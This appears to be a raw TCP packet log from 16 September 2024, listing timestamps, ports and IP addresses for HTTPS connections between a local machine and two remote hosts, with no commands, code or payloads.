Sep 16, 2024 08:23:46.074965000 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.074999094 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075014114 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075054884 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075074911 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075109959 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075110912 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075141907 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075171947 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075218916 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075252056 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075252056 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075270891 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075303078 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075328112 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075339079 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075360060 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075421095 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075448036 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075484991 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075516939 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.075544119 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.075632095 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.079406023 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.079838037 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.191442966 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.191871881 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.267430067 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.287432909 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.287503004 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.461621046 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.464068890 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.464083910 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464093924 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464171886 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.464176893 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464185953 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464262962 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.464266062 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464273930 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464293003 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464308023 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.464310884 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464401007 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.464411020 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464425087 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.464493036 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.619448900 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.623894930 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.671456099 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.671847105 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.691428900 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.691972971 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:46.715437889 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:46.715874910 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.099440098 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.099493027 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115087986 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115098000 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115108013 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115148067 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115153074 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115161896 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115185022 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115189075 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115220070 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115223885 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115231991 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115251064 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115262032 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115264893 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115340948 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115345001 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115351915 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.115375042 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.115432024 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.163429022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.163490057 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.202572107 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.202645063 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.202682018 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.202723026 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.202744007 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.202773094 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.202807903 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.323415995 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.323462009 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.398495913 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.398546934 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398581028 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398601055 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398643970 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.398662090 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398721933 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.398732901 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398782015 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.398796082 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398838997 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398859978 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398875952 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.398888111 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.398958921 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.398972034 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.399007082 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.399040937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.399090052 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.522851944 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.522876024 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.522887945 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.522958040 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.603444099 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.603518963 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651190042 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651196003 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651206017 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651210070 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651290894 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651298046 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651307106 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651314974 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651372910 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651377916 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651395082 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651412010 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651416063 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651422977 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651462078 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651465893 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651526928 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651534081 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.651587963 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.651624918 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.739406109 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.739469051 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:47.859426022 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:47.859494925 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.027443886 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.027546883 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.050503969 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.050522089 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050530910 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050597906 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.050602913 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050611973 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050621986 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050687075 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.050692081 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050703049 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050801992 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.050806046 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050813913 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.050832033 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.050869942 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.050910950 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.095418930 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.095480919 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.255455017 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.255525112 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.287409067 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.287864923 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.667440891 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.667507887 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.721550941 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.721569061 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721582890 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721657991 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.721664906 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721677065 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721690893 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721725941 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.721730947 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721764088 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.721770048 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721784115 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721816063 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.721873999 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.721879959 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.721932888 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.769001961 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.769083977 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.769115925 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.769156933 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.769176960 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.769203901 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.769227028 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850188017 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850204945 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850233078 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850259066 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850290060 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850301981 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850337029 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850366116 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850394011 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850436926 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850436926 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850450993 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850501060 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850552082 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850552082 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850565910 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850600004 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850613117 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.850658894 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850660086 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850696087 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.850730896 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.927411079 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:48.927859068 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:48.941137075 CEST	49764	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:48.941190004 CEST	443	49764	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:48.941303015 CEST	49764	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:48.985704899 CEST	49764	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:48.985728025 CEST	443	49764	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:48.985850096 CEST	443	49764	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:49.001760960 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.001825094 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.001857996 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.001909018 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.001957893 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029407978 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029427052 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029454947 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029475927 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029514074 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029527903 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029561996 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029575109 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029616117 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029639959 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029650927 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029686928 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029705048 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029742002 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029738903 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029784918 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029819965 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029855967 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029886007 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.029947042 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.029963017 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.030013084 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.030033112 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.030064106 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.030138969 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.055480957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.055921078 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.081640959 CEST	49765	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:49.081715107 CEST	443	49765	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:49.081819057 CEST	49765	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:49.100773096 CEST	49765	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:49.100790977 CEST	443	49765	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:49.100893021 CEST	443	49765	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:49.205878019 CEST	49766	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:49.205898046 CEST	443	49766	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:49.205981970 CEST	49766	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:49.224685907 CEST	49766	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:49.224715948 CEST	443	49766	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:49.224781036 CEST	443	49766	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:49.239413977 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.239471912 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.343409061 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.343480110 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.471448898 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.471554995 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.599262953 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.599277973 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599292994 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599371910 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.599379063 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599400043 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599405050 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599523067 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.599529028 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599543095 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599555969 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599618912 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.599625111 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.599657059 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.599714041 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.659441948 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.659564018 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.811397076 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.811439037 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:49.947432041 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:49.947494984 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.239402056 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.239453077 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.303445101 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.303538084 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.491430998 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.491513014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.674958944 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.674974918 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.674988985 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.675030947 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.675039053 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.675096989 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.675101995 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.675112963 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.675126076 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.675153971 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.675208092 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.675213099 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.675226927 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.675302029 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.675347090 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.797831059 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.797889948 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.797921896 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.797995090 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.798018932 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.798044920 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.798084974 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.883446932 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.883522987 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917195082 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917206049 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917218924 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917231083 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917277098 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917282104 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917323112 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917330027 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917350054 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917371988 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917376995 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917392015 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917402983 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917421103 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917444944 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:50.917474031 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:50.917500019 CEST	443	49738	185.199.109.133	192.168.2.5
